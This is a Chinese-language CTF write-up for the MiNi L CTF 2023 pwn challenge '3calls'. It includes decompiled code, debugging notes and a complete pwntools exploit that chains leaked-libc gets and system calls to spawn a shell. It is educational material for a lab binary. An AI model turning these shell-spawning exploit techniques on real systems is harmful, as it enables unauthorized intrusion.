MiNi L CTF2023

文章发布时间:

最后更新时间:

文章总字数:
1.2k

预计阅读时间:
5 分钟

3calls

这题的调试是个问题 比赛的时候一直卡在调试 赛后看了wp 才意识到 原来是另外一个进程导致的调试失败 只要在ida里把check函数改成nop就行了

image-20230515220224598

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+8h] [rbp-28h]
int j; // [rsp+Ch] [rbp-24h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
libc = (__int64)(&printf - 49390);
printf("gift: %p\n", &printf - 49390);
for ( i = 0; i <= 2; ++i )
read(0, &F[i], 8uLL);
check();
puts("good job!");
for ( j = 0; j <= 2; ++j )
F[j]();
return 0;
}

直接给了libc基址 同时可以输入3个字长 并且对这三个字长进行检查 跟进一下check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
unsigned __int64 check()
{
int v0; // ebx
int i; // [rsp+0h] [rbp-C0h]
int j; // [rsp+4h] [rbp-BCh]
FILE *stream; // [rsp+8h] [rbp-B8h]
int v5; // [rsp+14h] [rbp-ACh]
int v6; // [rsp+18h] [rbp-A8h]
int v7; // [rsp+1Ch] [rbp-A4h]
char v8[96]; // [rsp+20h] [rbp-A0h] BYREF
char s2[40]; // [rsp+80h] [rbp-40h] BYREF
unsigned __int64 v10; // [rsp+A8h] [rbp-18h]

v10 = __readfsqword(0x28u);
v5 = 0;
v6 = 0;
v7 = 0;
for ( i = 0; i <= 2; ++i )
sprintf(&v8[32 * i], "%016llx", (char *)F[i] - libc);
stream = popen(cmd, "r");
if ( (__int64)stream <= 0 )
{
puts("popen failed!");
exit(-1);
}
while ( (unsigned int)__isoc99_fscanf(stream, "%s", s2) != -1 )
{
for ( j = 0; j <= 2; ++j )
{
v0 = *(&v5 + j);
*(&v5 + j) = (strcmp(&v8[32 * j], s2) == 0) | v0;
}
}
pclose(stream);
if ( (v6 & v5 & v7) == 0 )
{
puts("Not libc symbols!");
exit(-1);
}
return v10 - __readfsqword(0x28u);
}

重点注意一下这一句stream = popen(cmd, “r”);

popen可以调用shell命令 并且获取其返回值 那么看一下cmd指令是什么 然后直接丢到我们虚拟机里的shell执行一下 大概就知道check是干啥的

image-20230515221932599

返回值是一大串偏移量 应该很明显看的出来是libc函数的偏移量 加上下面的for循环 所以可以得到check函数是检测输入的三个字长是否是libc函数

调用三次函数来获取shell 那么肯定要用到system函数 至于rdi参数要怎么操控 那么只能采用输入函数了

read scanf gets 这些常见的函数 参数构造最容易的就是gets了 并且其输入的地址也是由rdi决定 如果输入/bin/sh 那么rdi参数就是/bin/sh字符串

不过你直接打断点调试行不通的 popen函数会产生新的进程 影响我们gdb调试 所以我们直接在ida里面把call check改了

image-20230515222611360

image-20230515222719048

可以看到gets函数rdi参数是一个可写可读的地址 那这样就方便了 我们直接读入/bin/sh字符串 但是很快就会发现程序EOF了

EOF的原因比较复杂 我也只是调试了一点点出来 很多地方还是不懂 权当听个大概吧

image-20230515222904962

出问题的就在这个判断 导致进入了__lll_lock_wait_private函数 这个函数的具体用处我也不是很清楚 反正执行的后果就是当前进程会被挂起 也就导致了我们的程序无法继续执行了 也有想过绕过 但是貌似就算相等也过不去 ZF标志位还是为0

image-20230515223057448

最后的解决办法跟我们的gets函数执行逻辑有关系 其会先调用这个函数

image-20230515223146129

这个函数的本质是通过read来输入字节 不过每次只有1字节 随后每次接收完以后进行判断 如果为\n就停止gets

所以我们直接输入\n 就不会执行到后面的__lll_lock_wait_private

image-20230515223446685

随后我们再次调用gets函数就正常了 也是很神奇 不知道为啥 但是你会发现最后system执行的参数为/bin.sh

还是需要动调看一下 问题出在gets函数的最后几步

image-20230515223722045

自己看看应该也能懂 这样就不多说了 最后直接system就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("node5.anna.nssctf.cn",28881)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("gift: 0x")
libc_addr = int(io.recv(12),16)
success("libc_addr :"+hex(libc_addr))
gets_addr = libc_addr + libc.sym['gets']
system_addr = libc_addr + libc.sym['system']
read_addr = libc_addr + libc.sym['read']
io.send(p64(gets_addr))
io.send(p64(gets_addr))
io.send(p64(system_addr))
# gdb.attach(io,'b *gets+201')
# pause(0)
io.send(b'\n')
# gdb.attach(io,'b *$rebase(0x158E)')
io.sendline(b'/bin0sh')
# pause()
io.interactive()


# gdb.attach(io,'b *_IO_file_underflow+134')